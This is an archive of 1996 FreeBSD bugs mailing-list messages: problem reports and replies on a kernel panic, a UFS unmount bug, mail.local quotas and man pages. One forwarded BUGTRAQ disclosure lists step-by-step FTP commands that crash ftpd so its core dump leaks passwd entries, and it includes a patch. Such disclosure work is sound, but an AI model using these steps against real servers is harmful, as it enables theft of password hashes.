From owner-freebsd-bugs Sun Mar 17 01:04:53 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA01216 for bugs-outgoing; Sun, 17 Mar 1996 01:04:53 -0800 (PST) Received: (from joerg@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA01195 Sun, 17 Mar 1996 01:04:50 -0800 (PST) Date: Sun, 17 Mar 1996 01:04:50 -0800 (PST) From: Joerg Wunsch Message-Id: <199603170904.BAA01195@freefall.freebsd.org> To: jehamby@lightside.com, joerg, freebsd-bugs Subject: Re: bin/1083 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: "chsh -s" doesn't work in 2.1.0-RELEASE State-Changed-From-To: open-closed State-Changed-By: joerg State-Changed-When: Sun Mar 17 10:03:47 MET 1996 State-Changed-Why: This was a duplicate for misc/933 "chpass -s " does not work, and has already been fixed by time of submission. I've also pulled the fix into -STABLE. From owner-freebsd-bugs Sun Mar 17 01:52:40 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA03533 for bugs-outgoing; Sun, 17 Mar 1996 01:52:40 -0800 (PST) Received: (from joerg@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA03520 Sun, 17 Mar 1996 01:52:37 -0800 (PST) Date: Sun, 17 Mar 1996 01:52:37 -0800 (PST) From: Joerg Wunsch Message-Id: <199603170952.BAA03520@freefall.freebsd.org> To: joerg, freebsd-bugs Subject: Re: docs/1085 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: minor inaccuracy in uuencode.format(5) manual page State-Changed-From-To: open-closed State-Changed-By: joerg State-Changed-When: Sun Mar 17 10:51:42 MET 1996 State-Changed-Why: Suggested fix (with minor modification) applied in rev 1.3 of uuencode.format.5. From owner-freebsd-bugs Sun Mar 17 13:40:09 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA08033 for bugs-outgoing; Sun, 17 Mar 1996 13:40:09 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA08014 Sun, 17 Mar 1996 13:40:03 -0800 (PST) Resent-Date: Sun, 17 Mar 1996 13:40:03 -0800 (PST) Resent-Message-Id: <199603172140.NAA08014@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, scrappy@ki.net Received: from ki.net (root@ki.net [142.77.249.8]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id NAA07310 for ; Sun, 17 Mar 1996 13:30:26 -0800 (PST) Received: (from root@localhost) by ki.net (8.7.4/8.7.4) id QAA00478; Sun, 17 Mar 1996 16:30:38 -0500 (EST) Message-Id: <199603172130.QAA00478@ki.net> Date: Sun, 17 Mar 1996 16:30:38 -0500 (EST) From: "Marc G. Fournier" Reply-To: scrappy@ki.net To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/1086: PANIC: pagedaemon/_pmap_clear_reference+0xb2 Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 1086 >Category: kern >Synopsis: PANIC: pagedaemon/_pmap_clear_reference+0xb2 >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Mar 17 13:40:02 PST 1996 >Last-Modified: >Originator: Marc G. Fournier >Organization: >Release: FreeBSD 2.1-STABLE i386 >Environment: FreeBSD 2.1-STABLE #4: Sat Mar 16 17:16:06 EST 1996 scrappy@ki.net:/usr/src/sys/compile/kinet CPU: i486 DX4 (486-class CPU) Origin = "GenuineIntel" Id = 0x480 Stepping=0 Features=0x3 real memory = 16777216 (16384K bytes) avail memory = 14704640 (14360K bytes) Probing for devices on PCI bus 0: chip0 rev 49 on pci0:5 ncr0 rev 2 int a irq 12 on pci0:11 ncr0 waiting for scsi devices to settle (ncr0:0:0): "CONNER CFP1060S 1.05GB 243F" type 0 fixed SCSI 2 sd0(ncr0:0:0): Direct-Access sd0(ncr0:0:0): FAST SCSI-2 100ns (10 Mb/sec) offset 8. 1013MB (2074880 512 byte sectors) (ncr0:1:0): "QUANTUM LPS340S 020B" type 0 fixed SCSI 2 sd1(ncr0:1:0): Direct-Access sd1(ncr0:1:0): FAST SCSI-2 100ns (10 Mb/sec) offset 8. 327MB (670506 512 byte sectors) (ncr0:2:0): "QUANTUM LP240S GM240S01X 4.6" type 0 fixed SCSI 2 sd2(ncr0:2:0): Direct-Access sd2(ncr0:2:0): FAST SCSI-2 100ns (10 Mb/sec) offset 8. 234MB (479350 512 byte sectors) (ncr0:3:0): "CONNER CFA540S 13B0" type 0 fixed SCSI 2 sd3(ncr0:3:0): Direct-Access sd3(ncr0:3:0): FAST SCSI-2 100ns (10 Mb/sec) offset 8. 515MB (1056708 512 byte sectors) vga0 rev 0 on pci0:15 Probing for devices on the ISA bus: ed0 at 0x280-0x29f irq 5 maddr 0xd8000 msize 16384 on isa ed0: address 00:00:c0:86:44:79, type WD8013EPC (16 bit) vt0 at 0x60-0x6f irq 1 on motherboard vt0: generic, 80 col, color, 8 scr, mf2-kbd, [R3.20-b24] sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: NEC 72065B fd0: 1.44MB 3.5in aha0 not found at 0x330 npx0 on motherboard npx0: INT 16 interface >Description: Am currently unable to gain a "savecore" core dump after ddb in -stable, so all I have to give is this DDB output. Fatal trap 12: page fault while in kernel mode fault virtual address = 0xf48e1000 fault code = supervisor read, page not present instruction pointer = 0x8:0xf019c666 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 2 (pagedaemon) interrupts enabled = net tty bio Stopped at _pmap_clear_reference+0xb2: cmpl $0,0(%edx,%eax,4) db>tra _pmap_clear_reference(333000) at pmap_clear_reference+0xb2 _vm_pageout_scan() at vm_pageout_scan+0x38e _vm_pageout() at vm_pageout+0x1b8 _main() at main+0x46f begin at begin+0x6b >How-To-Repeat: >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Sun Mar 17 19:00:04 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA24025 for bugs-outgoing; Sun, 17 Mar 1996 19:00:04 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA24012 Sun, 17 Mar 1996 19:00:03 -0800 (PST) Resent-Date: Sun, 17 Mar 1996 19:00:03 -0800 (PST) Resent-Message-Id: <199603180300.TAA24012@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, akiyama@kme.mei.co.jp Received: from vcgate1.mei.co.jp (vcgate1.mei.co.jp [202.32.14.51]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id SAA23873 for ; Sun, 17 Mar 1996 18:56:18 -0800 (PST) Received: by vcgate1.mei.co.jp (5.65mei1.2g/5.9:4.9:vcgate0:960311) id AA22342; Mon, 18 Mar 96 11:57:41 +0900 Received: by vcmei.vanc.mei.co.jp (5.65mei1.1/5.9:4.9:vcmei:960229) id AA16685; Mon, 18 Mar 96 11:54:04 +0900 Received: by kmegate.kme.mei.co.jp (4.1/5.5:4.6:kmegate:960308) id AA06758; Mon, 18 Mar 96 11:55:21 JST Message-Id: <9603180255.AA06758@kmegate.kme.mei.co.jp> Date: Mon, 18 Mar 96 11:55:21 JST From: akiyama@kme.mei.co.jp Reply-To: akiyama@kme.mei.co.jp To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/1087: Device close entry is not called when unmounting UFS. Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 1087 >Category: kern >Synopsis: Device close entry is not called when unmounting UFS. >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Mar 17 19:00:02 PST 1996 >Last-Modified: >Originator: Shunsuke Akiyama >Organization: Kyushu Matsushita Electric Co., Ltd. >Release: FreeBSD 2.2-960303-SNAP i386 >Environment: All FreeBSD-2.2-960303-SNAP systems configured with UFS (options FFS). >Description: Device close entry is not called when unmounting UFS. This is not occured in FreeBSD-2.1.0-RELEASE. Device close entry like sd or od allow media ejecting in it. Therefor the SCSI removable disk device can not ejected, if it once unmounted. >How-To-Repeat: Every unmounting UFS. (I checked UFS on wd, fd, sd and od.) In sys/miscfs/specfs/spec_vnops.c:spec_close(), the case of VBLK, vcount() always returns 2 even if the last close. Then device close entry never called from spec_close() function. >Fix: I don't know why vcount() returns 2 at last close, so I beleive this is not a ture fix. --- sys/miscfs/specfs/spec_vnops.c-dist Tue Jan 2 05:20:45 1996 +++ sys/miscfs/specfs/spec_vnops.c Mon Mar 18 10:52:36 1996 @@ -625,7 +625,7 @@ * sum of the reference counts on all the aliased * vnodes descends to one, we are on last close. */ - if (vcount(vp) > 1 && (vp->v_flag & VXLOCK) == 0) + if (vcount(vp) > 2 && (vp->v_flag & VXLOCK) == 0) return (0); devclose = bdevsw[major(dev)]->d_close; mode = S_IFBLK; >Audit-Trail: >Unformatted: From owner-freebsd-bugs Sun Mar 17 21:40:02 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA00667 for bugs-outgoing; Sun, 17 Mar 1996 21:40:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA00661 Sun, 17 Mar 1996 21:40:01 -0800 (PST) Date: Sun, 17 Mar 1996 21:40:01 -0800 (PST) Message-Id: <199603180540.VAA00661@freefall.freebsd.org> To: freebsd-bugs Cc: From: Bruce Evans Subject: Re: kern/1087: Device close entry is not called when unmounting UFS. Reply-To: Bruce Evans Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR kern/1087; it has been noted by GNATS. From: Bruce Evans To: FreeBSD-gnats-submit@freebsd.org, akiyama@kme.mei.co.jp Cc: dyson@freebsd.org Subject: Re: kern/1087: Device close entry is not called when unmounting UFS. Date: Mon, 18 Mar 1996 16:31:54 +1100 > In sys/miscfs/specfs/spec_vnops.c:spec_close(), the case of > VBLK, vcount() always returns 2 even if the last close. Then > device close entry never called from spec_close() function. >>Fix: > > I don't know why vcount() returns 2 at last close, so I > beleive this is not a ture fix. vn_vmio holds a reference. See ffs_unmount() and vn_close(). Perhaps the correct fix is to move the vn_vmio_close() before the VOP_CLOSE()? WHere does the reference count get incremented for the non-VREG case of vn_open()? vn_close() releases a reference in all cases. >--- sys/miscfs/specfs/spec_vnops.c-dist Tue Jan 2 05:20:45 1996 >+++ sys/miscfs/specfs/spec_vnops.c Mon Mar 18 10:52:36 1996 >@@ -625,7 +625,7 @@ > * sum of the reference counts on all the aliased > * vnodes descends to one, we are on last close. > */ >- if (vcount(vp) > 1 && (vp->v_flag & VXLOCK) == 0) >+ if (vcount(vp) > 2 && (vp->v_flag & VXLOCK) == 0) > return (0); > devclose = bdevsw[major(dev)]->d_close; > mode = S_IFBLK; Bruce From owner-freebsd-bugs Sun Mar 17 21:59:13 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA01281 for bugs-outgoing; Sun, 17 Mar 1996 21:59:13 -0800 (PST) Received: from mailserv.tversu.ac.ru (mailserv.tversu.ac.ru [193.233.128.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id VAA01258 for ; Sun, 17 Mar 1996 21:58:20 -0800 (PST) Received: (from vadim@localhost) by mailserv.tversu.ac.ru (8.6.12/8.6.12) id IAA08272 for bugs@freebsd.org; Mon, 18 Mar 1996 08:58:39 +0300 Date: Mon, 18 Mar 1996 08:58:39 +0300 From: Vadim Kolontsov Message-Id: <199603180558.IAA08272@mailserv.tversu.ac.ru> To: bugs@freebsd.org Subject: Bug in ftp-daemon Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello. Here is copy of my letter to BUGTRAQ mailing list. I hope, that this bug in ftpd will be fixed in 2.2-RELEASE... Best regards, Vadim. ----------------------------------------------------------------------------- Recently I found a bug (a new one, I think) in ftpd-daemon. See end of this letter for bugfix. Program: ftpd (FTP daemon) Affected Operating Systems: *BSD, Linux, Solaris, and so on Requirements: account on machine, core files must have mode 640 (at least) Security Compromise: Intruder can get some entries of your passwd file, even if you use shadow. Author: Vadim Kolontsov Synopsys: User can cause segmentation fault in ftpd, so ftpd.core will contain passwd entries. Demonstration: 1. Login to victim host | /usr/home/vadim> telnet localhost 21 | Trying 127.0.0.1... | Connected to localhost.on.the.net. | Escape character is '^]'. | 220- FreeBSD greets you! | 220 somewhere.on.the.net FTP server (Version 6.00) ready. 2. Login with real account (we want to change current directory) | user vadim | 331 Password required for vadim. | pass ********** | 230 User vadim logged in. 3. Check if we are in our homedir now | cwd | 250 CWD command successful. | pwd | 257 "/usr/home/vadim" is current directory. 4. Now we will try to login as user, we want to steal passwd entry for. For example, it will be root (let think that /etc/ftpusers doesn't have word "root" :) | user root | 331 Password required for root. | pass something | 530 Login incorrect. 5. Now we give command to switch ftpd to passive mode | pasv | Connection closed by foreign host. 6. Ooops! Now we have segmentation fault in ftpd and saved core dump (in our homedir). Let's check it... | /usr/home/vadim> ftp localhost | Connected to localhost.on.the.net. | 220- FreeBSD greets you! | 220 somewhere.on.the.net FTP server (Version 6.00) ready. | Name (localhost:vadim): vadim | 331 Password required for vadim. | Password: ********** | 230 User vadim logged in. | Remote system type is UNIX. | Using binary mode to transfer files. | ftp> pwd | 257 "/usr/vadim" is current directory. | ftp> ls ftpd* | 200 PORT command successful. | 150 Opening ASCII mode data connection for '/bin/ls'. | -rw------- 1 root wheel 331776 Dec 27 23:32 ftpd.core | 226 Transfer complete. | ftp> quit | 221 Goodbye. This ftpd.core actually contents passwd entry for root, and probably for other users. Now intruder can start Crack... Yes, in FreeBSD, core file has rw----- and root:wheel as owner, but on many other systems, it's not true; so intruder can get core file from host very easiely. The next question: why ftpd causes segmnentation fault? Let's see in FreeBSD's ftpd sources (the problem with other ftp-daemons it the same): /* ftpd.c */ void passive() { int len; u_short port; char *p, *a; pdata = socket(AF_INET, SOCK_STREAM, 0); if (pdata < 0) { perror_reply(425, "Can't open passive connection"); return; } if (restricted_data_ports) { for (port = FTP_DATA_BOTTOM; port <= FTP_DATA_TOP; port++) { pasv_addr = ctrl_addr; pasv_addr.sin_port = htons(port); (void) seteuid((uid_t)0); if (bind(pdata, (struct sockaddr *)&pasv_addr, sizeof(pasv_addr)) < 0) { /* !!!!!!!!! */ (void) seteuid((uid_t)pw->pw_uid); The answer is easy: when no one logged on FTP, 'pw' structure points to NULL, so pw->pw_uid causes segmentation fault. The solution is also very easy (if you have sources, certainly :). Simply add a following fragment before line with "pdata = socket(.." if (!pw) { reply(425, "Please login with USER and PASS"); return; } The problem in wu-ftpd can be solved in same way. I hope it will be useful. Best regards, Vadim. ---------------------------------------------------------------------------- Vadim Kolontsov Internet: vadim@tversu.ac.ru System Administrator / Programmer Fidonet: 2:5020/118.63 The Regional Center of New Information Technologies / Telecommunications Lab From owner-freebsd-bugs Mon Mar 18 01:00:04 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA10285 for bugs-outgoing; Mon, 18 Mar 1996 01:00:04 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA10266 Mon, 18 Mar 1996 01:00:02 -0800 (PST) Date: Mon, 18 Mar 1996 01:00:02 -0800 (PST) Message-Id: <199603180900.BAA10266@freefall.freebsd.org> To: freebsd-bugs Cc: From: J Wunsch Subject: Re: kern/1087: Device close entry is not called when unmounting UFS. Reply-To: J Wunsch Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR kern/1087; it has been noted by GNATS. From: J Wunsch To: akiyama@kme.mei.co.jp Cc: FreeBSD-gnats-submit@freebsd.org, mmead@glock.com Subject: Re: kern/1087: Device close entry is not called when unmounting UFS. Date: Mon, 18 Mar 1996 09:49:56 +0100 (MET) As akiyama@kme.mei.co.jp wrote: > >Description: > > Device close entry is not called when unmounting UFS. This is > not occured in FreeBSD-2.1.0-RELEASE. Device close entry like > sd or od allow media ejecting in it. Therefor the SCSI > removable disk device can not ejected, if it once unmounted. Ah, this does also explain the problems with the JAZ drives! -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-bugs Mon Mar 18 01:56:23 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA13197 for bugs-outgoing; Mon, 18 Mar 1996 01:56:23 -0800 (PST) Received: from fire.dkrz.de (fire.dkrz.de [136.172.110.250]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id BAA13188 for ; Mon, 18 Mar 1996 01:56:19 -0800 (PST) Received: from racer.dkrz.de (racer.dkrz.de [136.172.110.55]) by fire.dkrz.de (8.7.4/8.7.3) with ESMTP id KAA02201; Mon, 18 Mar 1996 10:55:43 +0100 (MET) Received: (from gwk@localhost) by racer.dkrz.de (8.7.4/8.7.3) id KAA05361; Mon, 18 Mar 1996 10:53:29 +0100 (MET) Date: Mon, 18 Mar 1996 10:53:29 +0100 (MET) Message-Id: <199603180953.KAA05361@racer.dkrz.de> From: "Georg-W. Koltermann" To: wagner@beta.internetional.com.br CC: julian@ref.tfs.com, freebsd-bugs@freebsd.org In-reply-to: (message from Wagner Ikeda on Fri, 15 Mar 1996 13:01:31 -0300 (EST)) Subject: Re: trouble with IDE + SCSI (Adaptec2940) Reply-to: gwk@cray.com Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > I am having problems with the following configuration: > > > > > > 2.1.0 > > > Adaptec 2940 > > > Seagate 15150W 4Gb SCSI > > > Western D. 1Gb EIDE > > > > > > The system is 100% FreeBSD. > > > I installed a boot manager on EIDE disk (2940 doc says the boot device have > > > to be the IDE when both IDE and SCSI are present), which tries to boot from > > > SCSI. The process goes ok until the / partition is mounted. > > > At this point the system panics, because it tries to mount sd1, not sd0. > > > I thought I could switch the disk to SCSI ID 1 and have it detected as sd1, > > > but its not true, it remains as sd0. You did specify 'hd(0,a)/kernel' as the boot prompt instructs you, right? Georg-W. Koltermann, gwk@cray.com From owner-freebsd-bugs Mon Mar 18 12:00:05 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA29974 for bugs-outgoing; Mon, 18 Mar 1996 12:00:05 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA29947 Mon, 18 Mar 1996 12:00:03 -0800 (PST) Resent-Date: Mon, 18 Mar 1996 12:00:03 -0800 (PST) Resent-Message-Id: <199603182000.MAA29947@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, henrich@msu.edu Received: from crh.cl.msu.edu (crh.cl.msu.edu [35.8.1.24]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id LAA28040 for ; Mon, 18 Mar 1996 11:50:11 -0800 (PST) Received: (from henrich@localhost) by crh.cl.msu.edu (8.6.12/8.6.12) id OAA06991; Mon, 18 Mar 1996 14:50:09 -0500 Message-Id: <199603181950.OAA06991@crh.cl.msu.edu> Date: Mon, 18 Mar 1996 14:50:09 -0500 From: henrich@msu.edu Reply-To: henrich@msu.edu To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: misc/1088: mail.local doesnt deal with quota's Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 1088 >Category: misc >Synopsis: mail.local will happily overfill a users mailbox putting them over quota >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Mar 18 12:00:01 PST 1996 >Last-Modified: >Originator: Charles Henrich >Organization: Charles Henrich Michigan State University henrich@msu.edu http://pilot.msu.edu/~henrich >Release: FreeBSD 2.1-STABLE i386 >Environment: 2.1.0-RELEASE (all FreeBSD versions actually) >Description: mail.local runs with root permissions and as such can fill a users mailbox endlessly. When quota's are turned on this causing no end of problems with elm/pine and any other mailer. Its also a pain in the ass when users are subscribed to a hundred mailling lists and filling up your disk. >How-To-Repeat: Send email to a user w/ a quota. >Fix: Simple fix, seteuid() in mail.local before attempting delivery, then seteuid() back when done. Patch follows: *** mail.local.c Tue May 30 01:46:12 1995 --- /sup/usr/src/libexec/mail.local/mail.local.c Mon Mar 18 14:42:08 1996 *************** *** 199 **** --- 200 ---- + uid_t saveeuid; *************** *** 234 **** --- 236,237 ---- + + saveeuid=geteuid(); *************** *** 235 **** --- 239 ---- + *************** *** 246 **** --- 251,259 ---- + + /* Now that the box is created and permissions are correct, we + close it and go back to the top so that we will come in + and write as the user. We dont seteuid() before the above + open, because we have to be root/bin to write in var/mail */ + + close(mbfd); + goto tryagain; + *************** *** 251 **** --- 265,272 ---- + + /* Become the user, so quota enforcement will occur */ + + if(seteuid(pw->pw_uid) != 0) { + warn("Unable to setuid()"); + return; + } + *************** *** 258 **** --- 280 ---- + seteuid(saveeuid); *************** *** 262 **** --- 285,286 ---- + if(geteuid() == pw->pw_uid) seteuid(saveeuid); + *************** *** 285 **** --- 310 ---- + *************** *** 306 **** --- 332 ---- + >Audit-Trail: >Unformatted: From owner-freebsd-bugs Mon Mar 18 13:53:56 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA25748 for bugs-outgoing; Mon, 18 Mar 1996 13:53:56 -0800 (PST) Received: (from joerg@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA25717 Mon, 18 Mar 1996 13:53:53 -0800 (PST) Date: Mon, 18 Mar 1996 13:53:53 -0800 (PST) From: Joerg Wunsch Message-Id: <199603182153.NAA25717@freefall.freebsd.org> To: joerg, freebsd-bugs Subject: Re: bin/1084 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: gethostname.pl returns trailing \0 character State-Changed-From-To: open-closed State-Changed-By: joerg State-Changed-When: Mon Mar 18 22:53:19 MET 1996 State-Changed-Why: Suggested fix applied in rev 1.2 of gethostname.pl. From owner-freebsd-bugs Mon Mar 18 19:40:06 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA29207 for bugs-outgoing; Mon, 18 Mar 1996 19:40:06 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA29196 Mon, 18 Mar 1996 19:40:04 -0800 (PST) Resent-Date: Mon, 18 Mar 1996 19:40:04 -0800 (PST) Resent-Message-Id: <199603190340.TAA29196@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, msmith@atrad.adelaide.edu.au Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id TAA28662 for ; Mon, 18 Mar 1996 19:36:43 -0800 (PST) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id NAA28024; Tue, 19 Mar 1996 13:27:02 +1030 Message-Id: <199603190257.NAA28024@genesis.atrad.adelaide.edu.au> Date: Tue, 19 Mar 1996 13:27:02 +1030 From: Michael Smith Reply-To: msmith@atrad.adelaide.edu.au To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: docs/1089: stat manpage unclear about st_mtime & friends Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 1089 >Category: docs >Synopsis: stat manpage unclear about st_mtime & friends >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: doc-bug >Submitter-Id: current-users >Arrival-Date: Mon Mar 18 19:40:02 PST 1996 >Last-Modified: >Originator: Michael Smith >Organization: Genesis Software >Release: FreeBSD 2.1-STABLE i386 (and all up to -current) >Environment: stat(2) manpage. >Description: Consider this portion of the stat(2) manapage (trimmed): struct stat { ... struct timespec st_atimespec; /* time of last access */ struct timespec st_mtimespec; /* time of last data modification */ struct timespec st_ctimespec; /* time of last file status change */ ... }; The time-related fields of struct stat are as follows: st_atime Time when file data last accessed. Changed by the mknod(2), ... st_mtime Time when file data last modified. Changed by the mknod(2), ... st_ctime Time when file status was last changed (inode data modifica- ... It should be mentioned that the names 'st_atime' 'st_mtime' and 'st_ctime' are compatability macros which referece the ts_sec fields in the timespec structs for each of the three. >How-To-Repeat: None >Fix: The time-related fields of struct stat are as follows: st_atimespec Time when file data last accessed. Changed by the mknod(2), utimes(2) and read(2) system calls. st_mtimespec Time when file data last modified. Changed by the mknod(2), utimes(2) and write(2) system calls. st_ctimespec Time when file status was last changed (inode data modifica- tion). Changed by the chmod(2), chown(2), link(2), mknod(2), rename(2), unlink(2), utimes(2) and write(2) system calls. The names 'st_atime', 'st_mtime' and 'st_ctime' are supported for compatability's sake via preprocessor macros which reference the ts_sec fields of the corresponding timestruct. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Mon Mar 18 23:00:03 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA10936 for bugs-outgoing; Mon, 18 Mar 1996 23:00:03 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA10900 Mon, 18 Mar 1996 23:00:01 -0800 (PST) Date: Mon, 18 Mar 1996 23:00:01 -0800 (PST) Message-Id: <199603190700.XAA10900@freefall.freebsd.org> To: freebsd-bugs Cc: From: Bruce Evans Subject: Re: docs/1089: stat manpage unclear about st_mtime & friends Reply-To: Bruce Evans Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR docs/1089; it has been noted by GNATS. From: Bruce Evans To: FreeBSD-gnats-submit@freebsd.org, msmith@atrad.adelaide.edu.au Cc: Subject: Re: docs/1089: stat manpage unclear about st_mtime & friends Date: Tue, 19 Mar 1996 17:49:06 +1100 >Consider this portion of the stat(2) manapage (trimmed): > struct stat { > ... > struct timespec st_atimespec; /* time of last access */ > ... The man page was apparently once copied from stat.h. Bits have rotted. There are now ordinary st_atime etc. fields for the _POSIX_SOURCE case. > The time-related fields of struct stat are as follows: > st_atime Time when file data last accessed. Changed by the mknod(2), > ... >It should be mentioned that the names 'st_atime' 'st_mtime' and 'st_ctime' >are compatability macros which referece the ts_sec fields in the timespec >structs for each of the three. Should it? This is an implementation detail, and the implementation is different for the _POSIX_SOURCE case. Bruce From owner-freebsd-bugs Tue Mar 19 10:56:51 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA22207 for bugs-outgoing; Tue, 19 Mar 1996 10:56:51 -0800 (PST) Received: from video.yars.free.net (video.yars.free.net [193.233.48.74]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id KAA22193 for ; Tue, 19 Mar 1996 10:56:30 -0800 (PST) Received: (from lav@localhost) by video.yars.free.net (8.7.5/8.7.3) id VAA06426; Tue, 19 Mar 1996 21:55:18 +0300 (MSK) Date: Tue, 19 Mar 1996 21:55:18 +0300 (MSK) From: "Alexander V. Lukyanov" Message-Id: <199603191855.VAA06426@video.yars.free.net> To: bugs@freebsd.org Subject: struct flock problem Content-Type: text/plain Mime-Version: 1.0 X-Mailer: NCSA Mosaic 2.7b3 on Solaris X-URL: http://www.de.freebsd.org/support.html Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk It seems that FreeBSD have struct flock (fcntl.h) with members in order, different from the same structure in SVR4, linux and probably posix. (I don't have the standard handy, sorry) This may cause troubles in porting a program initializing such a structure. From owner-freebsd-bugs Tue Mar 19 14:29:53 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA06141 for bugs-outgoing; Tue, 19 Mar 1996 14:29:53 -0800 (PST) Received: from quackerjack.cc.vt.edu (quackerjack.cc.vt.edu [198.82.160.250]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id OAA06135 Tue, 19 Mar 1996 14:29:49 -0800 (PST) Received: from sable.cc.vt.edu (sable.cc.vt.edu [128.173.16.30]) by quackerjack.cc.vt.edu (8.7.1/8.7.1) with SMTP id RAA27988; Tue, 19 Mar 1996 17:29:42 -0500 (EST) Received: from dchubb.async.vt.edu (dchubb.async.vt.edu [128.173.29.249]) by sable.cc.vt.edu (8.6.12/8.6.12) with SMTP id RAA06269; Tue, 19 Mar 1996 17:29:38 -0500 Message-Id: <2.2.16.19960320104323.384720d8@mail.vt.edu> X-Sender: dchubb@mail.vt.edu X-Mailer: Windows Eudora Pro Version 2.2 (16) Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" 